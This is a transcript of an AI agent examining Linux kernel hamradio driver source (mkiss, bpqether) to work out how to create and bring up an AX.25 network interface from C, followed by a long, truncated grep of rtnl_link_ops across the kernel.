Okay, so I'm dealing with "LINUX-1" here. My goal is to spin up an AX.25 interface in C. Let's break this down.

First, I'll need to create a PTY, that's straightforward enough: `posix_openpt`, `grantpt`, and `unlockpt` should do the trick. Once I have the PTY, I'll set the line discipline on the slave side to `N_AX25`. That's the core of establishing the connection type.

Now, how do I find the name of this newly created interface? It should be something like `ax%d`. Hmm, how does the system actually assign the number? I see that `mkiss_open` uses `alloc_netdev(..., "ax%d", ...)` which means it'll grab the first available slot. If I'm the only process creating AX.25 interfaces, it will almost certainly be `ax0`. But I'm a stickler for certainty... To be absolutely sure, maybe I should list the network interfaces before and after the process. Or is there a way to get the interface name from the TTY somehow? I don't see any explicit ioctl in `mkiss` to retrieve the interface name. Hold on... I think there *is* a `mkiss_ioctl` function. Okay, time to dive into that and see if it holds the key.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:mkiss_ioctl]

map[SourceCode: 808:	/* Perform I/O control on an active ax25 channel. */
 809:	static int mkiss_ioctl(struct tty_struct *tty, unsigned int cmd,
 810:			unsigned long arg)
 811:	{
 812:		struct mkiss *ax = mkiss_get(tty);
 813:		struct net_device *dev;
 814:		unsigned int tmp, err;
 815:	
 816:		/* First make sure we're connected. */
 817:		if (ax == NULL)
 818:			return -ENXIO;
 819:		dev = ax->dev;
 820:	
 821:		switch (cmd) {
 822:		case SIOCGIFNAME:
 823:			err = copy_to_user((void __user *) arg, ax->dev->name,
 824:			                   strlen(ax->dev->name) + 1) ? -EFAULT : 0;
 825:			break;
 826:	
 827:		case SIOCGIFENCAP:
 828:			err = put_user(4, (int __user *) arg);
 829:			break;
 830:	
 831:		case SIOCSIFENCAP:
 832:			if (get_user(tmp, (int __user *) arg)) {
 833:				err = -EFAULT;
 834:				break;
 835:			}
 836:	
 837:			ax->mode = tmp;
 838:			dev->addr_len        = AX25_ADDR_LEN;
 839:			dev->hard_header_len = AX25_KISS_HEADER_LEN +
 840:			                       AX25_MAX_HEADER_LEN + 3;
 841:			dev->type            = ARPHRD_AX25;
 842:	
 843:			err = 0;
 844:			break;
 845:	
 846:		case SIOCSIFHWADDR: {
 847:			char addr[AX25_ADDR_LEN];
 848:	
 849:			if (copy_from_user(&addr,
 850:			                   (void __user *) arg, AX25_ADDR_LEN)) {
 851:				err = -EFAULT;
 852:				break;
 853:			}
 854:	
 855:			netif_tx_lock_bh(dev);
 856:			__dev_addr_set(dev, addr, AX25_ADDR_LEN);
 857:			netif_tx_unlock_bh(dev);
 858:	
 859:			err = 0;
 860:			break;
 861:		}
 862:		default:
 863:			err = -ENOIOCTLCMD;
 864:		}
 865:	
 866:		mkiss_put(ax);
 867:	
 868:		return err;
 869:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3-flash-preview

							input: 15244
							output: 47
							thoughts: 285
						

**Interface Name Discovery and Bringing Up AX.25 Interfaces**

Okay, fantastic! I've confirmed that `SIOCGIFNAME` is supported within `mkiss_ioctl`. This is exactly what I was hoping for. That means I can retrieve the interface name directly from the TTY file descriptor. Good, good.

Now, since `mkiss_ioctl` is ultimately called through `tty_ioctl`, I can just call `ioctl(fd, SIOCGIFNAME, name_buffer)` on the TTY fd directly. Straightforward enough, perfect.

Now, let's look at how to bring the interface up. The standard approach is using `SIOCSIFFLAGS` on a socket. I've got the general method in mind, and it's something like this: I need an `ifreq` struct, create a socket (likely `AF_INET`, `SOCK_DGRAM`), copy the device name, retrieve the current flags with `SIOCGIFFLAGS`, set the `IFF_UP` flag, and then apply the changes with `SIOCSIFFLAGS`. I can do that easily.

But wait, this is AX.25. It strikes me that I should consider that it might actually require an `AF_AX25` socket. However, I seem to remember that `SIOCSIFFLAGS` is fairly general, and usually works across all interface types via any socket, regardless. I'll need to verify that; it's always good to be thorough.

Just to be safe, I'm going to look for other methods of interface creation, especially for AX.25. Maybe `rtnetlink` could be used to do this? To be more certain, I'll consult the source code of `drivers/net/hamradio/bpqether.c`, to see how they create the interface within the BPQ Ether driver. I need to make certain I'm not missing anything.

map[ContextFile:drivers/net/hamradio/bpqether.c IncludeLines:true Name:bpq_device_event]

map[SourceCode: 509:	/*
 510:	 *	Handle device status changes.
 511:	 */
 512:	static int bpq_device_event(struct notifier_block *this,
 513:				    unsigned long event, void *ptr)
 514:	{
 515:		struct net_device *dev = netdev_notifier_info_to_dev(ptr);
 516:	
 517:		if (!net_eq(dev_net(dev), &init_net))
 518:			return NOTIFY_DONE;
 519:	
 520:		if (!dev_is_ethdev(dev) && !bpq_get_ax25_dev(dev))
 521:			return NOTIFY_DONE;
 522:	
 523:		switch (event) {
 524:		case NETDEV_UP:		/* new ethernet device -> new BPQ interface */
 525:			if (bpq_get_ax25_dev(dev) == NULL)
 526:				bpq_new_device(dev);
 527:			break;
 528:	
 529:		case NETDEV_DOWN:	/* ethernet device closed -> close BPQ interface */
 530:			if ((dev = bpq_get_ax25_dev(dev)) != NULL)
 531:				dev_close(dev);
 532:			break;
 533:	
 534:		case NETDEV_UNREGISTER:	/* ethernet device removed -> free BPQ interface */
 535:			if ((dev = bpq_get_ax25_dev(dev)) != NULL)
 536:				bpq_free_device(dev);
 537:			break;
 538:		default:
 539:			break;
 540:		}
 541:	
 542:		return NOTIFY_DONE;
 543:	}
 SourceFile:drivers/net/hamradio/bpqether.c]

gemini-3-flash-preview

							input: 16533
							output: 44
							thoughts: 199
						

**My Approach to AX.25 Interface Creation**

Okay, so `bpqether` automatically generates an AX.25 interface when the Ethernet interface activates, but that's really specific to BPQ-over-Ethernet. It's not a general solution. I need to think about a more universally applicable method.

The most general approach, from what I know, and what I'm thinking of, is probably using the TTY line discipline method. Let me break down the steps in my head:

1.  First, open a TTY, say `/dev/ptmx`.
2.  Then, I need to set the line discipline to `N_AX25`. That's critical.
3.  Next, I'll need to figure out the interface name, and for that, `SIOCGIFNAME` should do the trick.
4.  If I need to, I should be able to set the hardware address or callsign. There might be a default, but I'll need to be aware of how to override it.
5.  Finally, I need to bring the interface UP.

Wait a second…if I'm using a PTY, I realize I need to keep the master side open for the interface to even persist. If I close the TTY, the interface will be gone! That's something I need to keep in mind for long-running processes.

Let me take a quick look at `mkiss_close` in `mkiss.c`. I have a feeling there might be some relevant hints there regarding interface lifecycle management.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:mkiss_close]

map[SourceCode: 773:	static void mkiss_close(struct tty_struct *tty)
 774:	{
 775:		struct mkiss *ax;
 776:	
 777:		write_lock_irq(&disc_data_lock);
 778:		ax = tty->disc_data;
 779:		tty->disc_data = NULL;
 780:		write_unlock_irq(&disc_data_lock);
 781:	
 782:		if (!ax)
 783:			return;
 784:	
 785:		/*
 786:		 * We have now ensured that nobody can start using ap from now on, but
 787:		 * we have to wait for all existing users to finish.
 788:		 */
 789:		if (!refcount_dec_and_test(&ax->refcnt))
 790:			wait_for_completion(&ax->dead);
 791:		/*
 792:		 * Halt the transmit queue so that a new transmit cannot scribble
 793:		 * on our buffers
 794:		 */
 795:		netif_stop_queue(ax->dev);
 796:	
 797:		unregister_netdev(ax->dev);
 798:	
 799:		/* Free all AX25 frame buffers after unreg. */
 800:		kfree(ax->rbuff);
 801:		kfree(ax->xbuff);
 802:	
 803:		ax->tty = NULL;
 804:	
 805:		free_netdev(ax->dev);
 806:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3-flash-preview

							input: 17595
							output: 20
							thoughts: 108
						

**Investigating the TTY Persistence in `mkiss_close`**

Okay, so `unregister_netdev` *is* called within `mkiss_close`. That confirms my initial concern: the program needs to stay alive and the TTY open to avoid undesirable behavior. I need to figure out how to maintain that TTY connection. I'm hitting a wall here.

Is there *any* other mechanism, besides the default closing sequence, that could prevent premature closure? Hmmm, perhaps something involving `ax25_config`? That's a bit old-school though. The AX.25 stuff is getting long in the tooth, it might not be the most elegant solution.

Aha! Maybe `rtnetlink` could provide a better, more modern approach to creating and managing this network interface. That's a strong lead. I'll search for `rtnl_link_ops` within the `drivers/net/hamradio/` directory. That's likely where the relevant low-level operations are defined. Let's see what we can find.

map[Expression:rtnl_link_ops]

map[Output:
Full output is too long, showing 500 out of 1171 lines.
Use more precise expression if possible.

[Documentation/infiniband/ipoib.rst=12=Partitions and P_Keys
 --
 Documentation/infiniband/ipoib.rst-30-  Child interface create/delete can also be done using IPoIB's
 Documentation/infiniband/ipoib.rst:31:  rtnl_link_ops, where children created using either way behave the same.
 Documentation/infiniband/ipoib.rst-32-
 --
 Documentation/networking/device_drivers/cellular/qualcomm/rmnet.rst=208=https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/
 Documentation/networking/device_drivers/cellular/qualcomm/rmnet.rst-209-
 Documentation/networking/device_drivers/cellular/qualcomm/rmnet.rst:210:The driver uses rtnl_link_ops for communication.
 --
 Documentation/networking/dsa/configuration.rst=393=configure the system for the switch to use other conduits.
 Documentation/networking/dsa/configuration.rst-394-
 Documentation/networking/dsa/configuration.rst:395:DSA uses the ``rtnl_link_ops`` mechanism (with a "dsa" ``kind``) to allow
 Documentation/networking/dsa/configuration.rst-396-changing the DSA conduit of a user port. The ``IFLA_DSA_CONDUIT`` u32 netlink
 --
 Documentation/networking/net_cachelines/net_device.rst=151=struct attribute_group*             sysfs_rx_queue_group
 Documentation/networking/net_cachelines/net_device.rst:152:struct rtnl_link_ops*               rtnl_link_ops
 Documentation/networking/net_cachelines/net_device.rst-153-unsigned_int                        gso_max_size                read_mostly                             sk_dst_gso_max_size
 --
 Documentation/networking/netdevices.rst=169=will defer some of the processing until ``rtnl_lock`` is released.
 Documentation/networking/netdevices.rst-170-
 Documentation/networking/netdevices.rst:171:Devices spawned from struct rtnl_link_ops should never free the
 Documentation/networking/netdevices.rst-172-struct net_device directly.
 --
 Documentation/translations/zh_CN/infiniband/ipoib.rst=17=infiniband上的IP（IPoIB）
 --
 Documentation/translations/zh_CN/infiniband/ipoib.rst-40-
 Documentation/translations/zh_CN/infiniband/ipoib.rst:41:  子接口的创建/删除也可以使用IPoIB的rtnl_link_ops来完成，使用两种
 Documentation/translations/zh_CN/infiniband/ipoib.rst-42-  方式创建的子接口的行为是一样的。
 --
 drivers/infiniband/ulp/ipoib/ipoib.h=534=void ipoib_dma_unmap_tx(struct ipoib_dev_priv *priv,
 --
 drivers/infiniband/ulp/ipoib/ipoib.h-536-
 drivers/infiniband/ulp/ipoib/ipoib.h:537:struct rtnl_link_ops *ipoib_get_link_ops(void);
 drivers/infiniband/ulp/ipoib/ipoib.h-538-
 --
 drivers/infiniband/ulp/ipoib/ipoib_main.c=2201=void ipoib_setup_common(struct net_device *dev)
 --
 drivers/infiniband/ulp/ipoib/ipoib_main.c-2224-	 * consistently to unify all the various unregister paths, including
 drivers/infiniband/ulp/ipoib/ipoib_main.c:2225:	 * those connected to rtnl_link_ops which require it.
 drivers/infiniband/ulp/ipoib/ipoib_main.c-2226-	 */
 --
 drivers/infiniband/ulp/ipoib/ipoib_main.c=2580=static struct net_device *ipoib_add_port(const char *format,
 --
 drivers/infiniband/ulp/ipoib/ipoib_main.c-2582-{
 drivers/infiniband/ulp/ipoib/ipoib_main.c:2583:	struct rtnl_link_ops *ops = ipoib_get_link_ops();
 drivers/infiniband/ulp/ipoib/ipoib_main.c-2584-	struct rdma_netdev_alloc_params params;
 --
 drivers/infiniband/ulp/ipoib/ipoib_main.c-2603-
 drivers/infiniband/ulp/ipoib/ipoib_main.c:2604:	ndev->rtnl_link_ops = ipoib_get_link_ops();
 drivers/infiniband/ulp/ipoib/ipoib_main.c-2605-
 --
 drivers/infiniband/ulp/ipoib/ipoib_netlink.c=164=static size_t ipoib_get_size(const struct net_device *dev)
 --
 drivers/infiniband/ulp/ipoib/ipoib_netlink.c-170-
 drivers/infiniband/ulp/ipoib/ipoib_netlink.c:171:static struct rtnl_link_ops ipoib_link_ops __read_mostly = {
 drivers/infiniband/ulp/ipoib/ipoib_netlink.c-172-	.kind		= "ipoib",
 --
 drivers/infiniband/ulp/ipoib/ipoib_netlink.c-186-
 drivers/infiniband/ulp/ipoib/ipoib_netlink.c:187:struct rtnl_link_ops *ipoib_get_link_ops(void)
 drivers/infiniband/ulp/ipoib/ipoib_netlink.c-188-{
 --
 drivers/infiniband/ulp/ipoib/ipoib_vlan.c=168=int ipoib_vlan_add(struct net_device *pdev, unsigned short pkey)
 --
 drivers/infiniband/ulp/ipoib/ipoib_vlan.c-201-
 drivers/infiniband/ulp/ipoib/ipoib_vlan.c:202:	ndev->rtnl_link_ops = ipoib_get_link_ops();
 drivers/infiniband/ulp/ipoib/ipoib_vlan.c-203-
 --
 drivers/net/amt.c=3309=static int amt_fill_info(struct sk_buff *skb, const struct net_device *dev)
 --
 drivers/net/amt.c-3336-
 drivers/net/amt.c:3337:static struct rtnl_link_ops amt_link_ops __read_mostly = {
 drivers/net/amt.c-3338-	.kind		= "amt",
 --
 drivers/net/bareudp.c=740=static int bareudp_fill_info(struct sk_buff *skb, const struct net_device *dev)
 --
 drivers/net/bareudp.c-759-
 drivers/net/bareudp.c:760:static struct rtnl_link_ops bareudp_link_ops __read_mostly = {
 drivers/net/bareudp.c-761-	.kind           = "bareudp",
 --
 drivers/net/bonding/bond_main.c=6507=int bond_create(struct net *net, const char *name)
 --
 drivers/net/bonding/bond_main.c-6522-	dev_net_set(bond_dev, net);
 drivers/net/bonding/bond_main.c:6523:	bond_dev->rtnl_link_ops = &bond_link_ops;
 drivers/net/bonding/bond_main.c-6524-
 --
 drivers/net/bonding/bond_netlink.c=891=static int bond_fill_linkxstats(struct sk_buff *skb,
 --
 drivers/net/bonding/bond_netlink.c-942-
 drivers/net/bonding/bond_netlink.c:943:struct rtnl_link_ops bond_link_ops __read_mostly = {
 drivers/net/bonding/bond_netlink.c-944-	.kind			= "bond",
 --
 drivers/net/can/dev/dev.c=611=int register_candev(struct net_device *dev)
 --
 drivers/net/can/dev/dev.c-644-
 drivers/net/can/dev/dev.c:645:	dev->rtnl_link_ops = &can_link_ops;
 drivers/net/can/dev/dev.c-646-	netif_carrier_off(dev);
 --
 drivers/net/can/dev/dev.c=662=struct can_priv *safe_candev_priv(struct net_device *dev)
 drivers/net/can/dev/dev.c-663-{
 drivers/net/can/dev/dev.c:664:	if (dev->type != ARPHRD_CAN || dev->rtnl_link_ops != &can_link_ops)
 drivers/net/can/dev/dev.c-665-		return NULL;
 --
 drivers/net/can/dev/netlink.c=1086=static void can_dellink(struct net_device *dev, struct list_head *head)
 --
 drivers/net/can/dev/netlink.c-1089-
 drivers/net/can/dev/netlink.c:1090:struct rtnl_link_ops can_link_ops __read_mostly = {
 drivers/net/can/dev/netlink.c-1091-	.kind		= "can",
 --
 drivers/net/can/vcan.c=170=static void vcan_setup(struct net_device *dev)
 --
 drivers/net/can/vcan.c-189-
 drivers/net/can/vcan.c:190:static struct rtnl_link_ops vcan_link_ops __read_mostly = {
 drivers/net/can/vcan.c-191-	.kind = DRV_NAME,
 --
 drivers/net/can/vxcan.c=181=static void vxcan_setup(struct net_device *dev)
 --
 drivers/net/can/vxcan.c-200-/* forward declaration for rtnl_create_link() */
 drivers/net/can/vxcan.c:201:static struct rtnl_link_ops vxcan_link_ops;
 drivers/net/can/vxcan.c-202-
 --
 drivers/net/can/vxcan.c=308=static struct net *vxcan_get_link_net(const struct net_device *dev)
 --
 drivers/net/can/vxcan.c-315-
 drivers/net/can/vxcan.c:316:static struct rtnl_link_ops vxcan_link_ops = {
 drivers/net/can/vxcan.c-317-	.kind		= DRV_NAME,
 --
 drivers/net/dummy.c=127=static int dummy_validate(struct nlattr *tb[], struct nlattr *data[],
 --
 drivers/net/dummy.c-138-
 drivers/net/dummy.c:139:static struct rtnl_link_ops dummy_link_ops __read_mostly = {
 drivers/net/dummy.c-140-	.kind		= DRV_NAME,
 --
 drivers/net/dummy.c=149=static int __init dummy_init_one(void)
 --
 drivers/net/dummy.c-157-
 drivers/net/dummy.c:158:	dev_dummy->rtnl_link_ops = &dummy_link_ops;
 drivers/net/dummy.c-159-	err = register_netdevice(dev_dummy);
 --
 drivers/net/ethernet/mellanox/mlx5/core/en/tc_tun.c=178=static const char *mlx5e_netdev_kind(struct net_device *dev)
 drivers/net/ethernet/mellanox/mlx5/core/en/tc_tun.c-179-{
 drivers/net/ethernet/mellanox/mlx5/core/en/tc_tun.c:180:	if (dev->rtnl_link_ops)
 drivers/net/ethernet/mellanox/mlx5/core/en/tc_tun.c:181:		return dev->rtnl_link_ops->kind;
 drivers/net/ethernet/mellanox/mlx5/core/en/tc_tun.c-182-	else
 --
 drivers/net/ethernet/netronome/nfp/flower/cmsg.h=719=static inline bool nfp_fl_is_netdev_to_offload(struct net_device *netdev)
 drivers/net/ethernet/netronome/nfp/flower/cmsg.h-720-{
 drivers/net/ethernet/netronome/nfp/flower/cmsg.h:721:	if (!netdev->rtnl_link_ops)
 drivers/net/ethernet/netronome/nfp/flower/cmsg.h-722-		return false;
 drivers/net/ethernet/netronome/nfp/flower/cmsg.h:723:	if (!strcmp(netdev->rtnl_link_ops->kind, "openvswitch"))
 drivers/net/ethernet/netronome/nfp/flower/cmsg.h-724-		return true;
 --
 drivers/net/ethernet/netronome/nfp/flower/conntrack.c=1880=int nfp_fl_ct_handle_post_ct(struct nfp_flower_priv *priv,
 --
 drivers/net/ethernet/netronome/nfp/flower/conntrack.c-1899-		case FLOW_ACTION_MIRRED_INGRESS:
 drivers/net/ethernet/netronome/nfp/flower/conntrack.c:1900:			if (act->dev->rtnl_link_ops &&
 drivers/net/ethernet/netronome/nfp/flower/conntrack.c:1901:			    !strcmp(act->dev->rtnl_link_ops->kind, "openvswitch")) {
 drivers/net/ethernet/netronome/nfp/flower/conntrack.c-1902-				NL_SET_ERR_MSG_MOD(extack,
 --
 drivers/net/ethernet/netronome/nfp/flower/main.h=517=nfp_flower_internal_port_can_offload(struct nfp_app *app,
 --
 drivers/net/ethernet/netronome/nfp/flower/main.h-523-		return false;
 drivers/net/ethernet/netronome/nfp/flower/main.h:524:	if (!netdev->rtnl_link_ops)
 drivers/net/ethernet/netronome/nfp/flower/main.h-525-		return false;
 drivers/net/ethernet/netronome/nfp/flower/main.h:526:	if (!strcmp(netdev->rtnl_link_ops->kind, "openvswitch"))
 drivers/net/ethernet/netronome/nfp/flower/main.h-527-		return true;
 --
 drivers/net/ethernet/qualcomm/rmnet/rmnet_config.c=370=static int rmnet_fill_info(struct sk_buff *skb, const struct net_device *dev)
 --
 drivers/net/ethernet/qualcomm/rmnet/rmnet_config.c-399-
 drivers/net/ethernet/qualcomm/rmnet/rmnet_config.c:400:struct rtnl_link_ops rmnet_link_ops __read_mostly = {
 drivers/net/ethernet/qualcomm/rmnet/rmnet_config.c-401-	.kind		= "rmnet",
 --
 drivers/net/ethernet/qualcomm/rmnet/rmnet_config.h=32=struct rmnet_port {
 --
 drivers/net/ethernet/qualcomm/rmnet/rmnet_config.h-54-
 drivers/net/ethernet/qualcomm/rmnet/rmnet_config.h:55:extern struct rtnl_link_ops rmnet_link_ops;
 drivers/net/ethernet/qualcomm/rmnet/rmnet_config.h-56-
 --
 drivers/net/ethernet/qualcomm/rmnet/rmnet_vnd.c=298=int rmnet_vnd_newlink(u8 id, struct net_device *rmnet_dev,
 --
 drivers/net/ethernet/qualcomm/rmnet/rmnet_vnd.c-332-
 drivers/net/ethernet/qualcomm/rmnet/rmnet_vnd.c:333:		rmnet_dev->rtnl_link_ops = &rmnet_link_ops;
 drivers/net/ethernet/qualcomm/rmnet/rmnet_vnd.c-334-
 --
 drivers/net/ethernet/rocker/rocker_ofdpa.c=273=static bool ofdpa_port_is_slave(const struct ofdpa_port *ofdpa_port,
 --
 drivers/net/ethernet/rocker/rocker_ofdpa.c-276-	return ofdpa_port->bridge_dev &&
 drivers/net/ethernet/rocker/rocker_ofdpa.c:277:		!strcmp(ofdpa_port->bridge_dev->rtnl_link_ops->kind, kind);
 drivers/net/ethernet/rocker/rocker_ofdpa.c-278-}
 --
 drivers/net/geneve.c=2275=static int geneve_fill_info(struct sk_buff *skb, const struct net_device *dev)
 --
 drivers/net/geneve.c-2353-
 drivers/net/geneve.c:2354:static struct rtnl_link_ops geneve_link_ops __read_mostly = {
 drivers/net/geneve.c-2355-	.kind		= "geneve",
 --
 drivers/net/gtp.c=1592=static int gtp_fill_info(struct sk_buff *skb, const struct net_device *dev)
 --
 drivers/net/gtp.c-1608-
 drivers/net/gtp.c:1609:static struct rtnl_link_ops gtp_link_ops __read_mostly = {
 drivers/net/gtp.c-1610-	.kind		= "gtp",
 --
 drivers/net/gtp.c=2275=static int gtp_genl_dump_pdp(struct sk_buff *skb,
 --
 drivers/net/gtp.c-2288-	for_each_netdev_rcu(net, dev) {
 drivers/net/gtp.c:2289:		if (dev->rtnl_link_ops != &gtp_link_ops)
 drivers/net/gtp.c-2290-			continue;
 --
 drivers/net/ifb.c=376=static int ifb_validate(struct nlattr *tb[], struct nlattr *data[],
 --
 drivers/net/ifb.c-387-
 drivers/net/ifb.c:388:static struct rtnl_link_ops ifb_link_ops __read_mostly = {
 drivers/net/ifb.c-389-	.kind		= "ifb",
 --
 drivers/net/ifb.c=403=static int __init ifb_init_one(int index)
 --
 drivers/net/ifb.c-413-
 drivers/net/ifb.c:414:	dev_ifb->rtnl_link_ops = &ifb_link_ops;
 drivers/net/ifb.c-415-	err = register_netdevice(dev_ifb);
 --
 drivers/net/ipvlan/ipvlan.h=172=void ipvlan_link_setup(struct net_device *dev);
 drivers/net/ipvlan/ipvlan.h:173:int ipvlan_link_register(struct rtnl_link_ops *ops);
 drivers/net/ipvlan/ipvlan.h-174-#ifdef CONFIG_IPVLAN_L3S
 --
 drivers/net/ipvlan/ipvlan_main.c=696=static struct net *ipvlan_get_link_net(const struct net_device *dev)
 --
 drivers/net/ipvlan/ipvlan_main.c-702-
 drivers/net/ipvlan/ipvlan_main.c:703:static struct rtnl_link_ops ipvlan_link_ops = {
 drivers/net/ipvlan/ipvlan_main.c-704-	.kind		= "ipvlan",
 --
 drivers/net/ipvlan/ipvlan_main.c-712-
 drivers/net/ipvlan/ipvlan_main.c:713:int ipvlan_link_register(struct rtnl_link_ops *ops)
 drivers/net/ipvlan/ipvlan_main.c-714-{
 --
 drivers/net/ipvlan/ipvlan_main.c=725=static int ipvlan_device_event(struct notifier_block *unused,
 --
 drivers/net/ipvlan/ipvlan_main.c-767-		list_for_each_entry_safe(ipvlan, next, &port->ipvlans, pnode)
 drivers/net/ipvlan/ipvlan_main.c:768:			ipvlan->dev->rtnl_link_ops->dellink(ipvlan->dev,
 drivers/net/ipvlan/ipvlan_main.c-769-							    &lst_kill);
 --
 drivers/net/ipvlan/ipvtap.c=121=static void ipvtap_setup(struct net_device *dev)
 --
 drivers/net/ipvlan/ipvtap.c-127-
 drivers/net/ipvlan/ipvtap.c:128:static struct rtnl_link_ops ipvtap_link_ops __read_mostly = {
 drivers/net/ipvlan/ipvtap.c-129-	.kind		= "ipvtap",
 --
 drivers/net/ipvlan/ipvtap.c=136=static int ipvtap_device_event(struct notifier_block *unused,
 --
 drivers/net/ipvlan/ipvtap.c-145-
 drivers/net/ipvlan/ipvtap.c:146:	if (dev->rtnl_link_ops != &ipvtap_link_ops)
 drivers/net/ipvlan/ipvtap.c-147-		return NOTIFY_DONE;
 --
 drivers/net/macsec.c=4375=static int macsec_fill_info(struct sk_buff *skb,
 --
 drivers/net/macsec.c-4425-
 drivers/net/macsec.c:4426:static struct rtnl_link_ops macsec_link_ops __read_mostly = {
 drivers/net/macsec.c-4427-	.kind		= "macsec",
 --
 drivers/net/macvlan.c=1741=static const struct nla_policy macvlan_policy[IFLA_MACVLAN_MAX + 1] = {
 --
 drivers/net/macvlan.c-1752-
 drivers/net/macvlan.c:1753:int macvlan_link_register(struct rtnl_link_ops *ops)
 drivers/net/macvlan.c-1754-{
 --
 drivers/net/macvlan.c=1767=static struct net *macvlan_get_link_net(const struct net_device *dev)
 --
 drivers/net/macvlan.c-1771-
 drivers/net/macvlan.c:1772:static struct rtnl_link_ops macvlan_link_ops = {
 drivers/net/macvlan.c-1773-	.kind		= "macvlan",
 --
 drivers/net/macvlan.c=1793=static int macvlan_device_event(struct notifier_block *unused,
 --
 drivers/net/macvlan.c-1844-		list_for_each_entry_safe(vlan, next, &port->vlans, list)
 drivers/net/macvlan.c:1845:			vlan->dev->rtnl_link_ops->dellink(vlan->dev, &list_kill);
 drivers/net/macvlan.c-1846-		unregister_netdevice_many(&list_kill);
 --
 drivers/net/macvtap.c=135=static struct net *macvtap_link_net(const struct net_device *dev)
 --
 drivers/net/macvtap.c-139-
 drivers/net/macvtap.c:140:static struct rtnl_link_ops macvtap_link_ops __read_mostly = {
 drivers/net/macvtap.c-141-	.kind		= "macvtap",
 --
 drivers/net/macvtap.c=149=static int macvtap_device_event(struct notifier_block *unused,
 --
 drivers/net/macvtap.c-158-
 drivers/net/macvtap.c:159:	if (dev->rtnl_link_ops != &macvtap_link_ops)
 drivers/net/macvtap.c-160-		return NOTIFY_DONE;
 --
 drivers/net/netdevsim/netdev.c=1272=static int nsim_validate(struct nlattr *tb[], struct nlattr *data[],
 --
 drivers/net/netdevsim/netdev.c-1279-
 drivers/net/netdevsim/netdev.c:1280:static struct rtnl_link_ops nsim_link_ops __read_mostly = {
 drivers/net/netdevsim/netdev.c-1281-	.kind		= DRV_NAME,
 --
 drivers/net/netkit.c=314=static int netkit_validate(struct nlattr *tb[], struct nlattr *data[],
 --
 drivers/net/netkit.c-327-
 drivers/net/netkit.c:328:static struct rtnl_link_ops netkit_link_ops;
 drivers/net/netkit.c-329-
 --
 drivers/net/netkit.c=966=static const struct nla_policy netkit_policy[IFLA_NETKIT_MAX + 1] = {
 --
 drivers/net/netkit.c-978-
 drivers/net/netkit.c:979:static struct rtnl_link_ops netkit_link_ops = {
 drivers/net/netkit.c-980-	.kind		= DRV_NAME,
 --
 drivers/net/nlmon.c=84=static int nlmon_validate(struct nlattr *tb[], struct nlattr *data[],
 --
 drivers/net/nlmon.c-91-
 drivers/net/nlmon.c:92:static struct rtnl_link_ops nlmon_link_ops __read_mostly = {
 drivers/net/nlmon.c-93-	.kind			= "nlmon",
 --
 drivers/net/ovpn/main.c=220=static int ovpn_fill_info(struct sk_buff *skb, const struct net_device *dev)
 --
 drivers/net/ovpn/main.c-229-
 drivers/net/ovpn/main.c:230:static struct rtnl_link_ops ovpn_link_ops = {
 drivers/net/ovpn/main.c-231-	.kind = "ovpn",
 --
 drivers/net/pfcp.c=224=static void pfcp_dellink(struct net_device *dev, struct list_head *head)
 --
 drivers/net/pfcp.c-231-
 drivers/net/pfcp.c:232:static struct rtnl_link_ops pfcp_link_ops __read_mostly = {
 drivers/net/pfcp.c-233-	.kind		= "pfcp",
 --
 drivers/net/ppp/ppp_generic.c=1382=static struct net *ppp_nl_get_link_net(const struct net_device *dev)
 --
 drivers/net/ppp/ppp_generic.c-1388-
 drivers/net/ppp/ppp_generic.c:1389:static struct rtnl_link_ops ppp_link_ops __read_mostly = {
 drivers/net/ppp/ppp_generic.c-1390-	.kind		= "ppp",
 --
 drivers/net/ppp/ppp_generic.c=3376=static int ppp_create_interface(struct net *net, struct file *file, int *unit)
 --
 drivers/net/ppp/ppp_generic.c-3392-	dev_net_set(dev, net);
 drivers/net/ppp/ppp_generic.c:3393:	dev->rtnl_link_ops = &ppp_link_ops;
 drivers/net/ppp/ppp_generic.c-3394-
 --
 drivers/net/team/team_core.c=2246=static unsigned int team_get_num_rx_queues(void)
 --
 drivers/net/team/team_core.c-2250-
 drivers/net/team/team_core.c:2251:static struct rtnl_link_ops team_link_ops __read_mostly = {
 drivers/net/team/team_core.c-2252-	.kind			= DRV_NAME,
 --
 drivers/net/tun.c=2304=static int tun_fill_info(struct sk_buff *skb, const struct net_device *dev)
 --
 drivers/net/tun.c-2340-
 drivers/net/tun.c:2341:static struct rtnl_link_ops tun_link_ops __read_mostly = {
 drivers/net/tun.c-2342-	.kind		= DRV_NAME,
 --
 drivers/net/tun.c=2692=static int tun_set_iff(struct net *net, struct file *file, struct ifreq *ifr)
 --
 drivers/net/tun.c-2785-		dev_net_set(dev, net);
 drivers/net/tun.c:2786:		dev->rtnl_link_ops = &tun_link_ops;
 drivers/net/tun.c-2787-		dev->ifindex = tfile->ifindex;
 --
 drivers/net/tun.c=3627=static int tun_device_event(struct notifier_block *unused,
 --
 drivers/net/tun.c-3633-
 drivers/net/tun.c:3634:	if (dev->rtnl_link_ops != &tun_link_ops)
 drivers/net/tun.c-3635-		return NOTIFY_DONE;
 --
 drivers/net/veth.c=1768=static int veth_validate(struct nlattr *tb[], struct nlattr *data[],
 --
 drivers/net/veth.c-1783-
 drivers/net/veth.c:1784:static struct rtnl_link_ops veth_link_ops;
 drivers/net/veth.c-1785-
 --
 drivers/net/veth.c=1965=static unsigned int veth_get_num_queues(void)
 --
 drivers/net/veth.c-1974-
 drivers/net/veth.c:1975:static struct rtnl_link_ops veth_link_ops = {
 drivers/net/veth.c-1976-	.kind		= DRV_NAME,
 --
 drivers/net/vrf.c=1769=static const struct nla_policy vrf_nl_policy[IFLA_VRF_MAX + 1] = {
 --
 drivers/net/vrf.c-1772-
 drivers/net/vrf.c:1773:static struct rtnl_link_ops vrf_link_ops __read_mostly = {
 drivers/net/vrf.c-1774-	.kind		= DRV_NAME,
 --
 drivers/net/vsockmon.c=82=static void vsockmon_setup(struct net_device *dev)
 --
 drivers/net/vsockmon.c-99-
 drivers/net/vsockmon.c:100:static struct rtnl_link_ops vsockmon_link_ops __read_mostly = {
 drivers/net/vsockmon.c-101-	.kind			= "vsockmon",
 --
 drivers/net/vxlan/vxlan_core.c=60=const u8 all_zeros_mac[ETH_ALEN + 2];
 drivers/net/vxlan/vxlan_core.c:61:static struct rtnl_link_ops vxlan_link_ops;
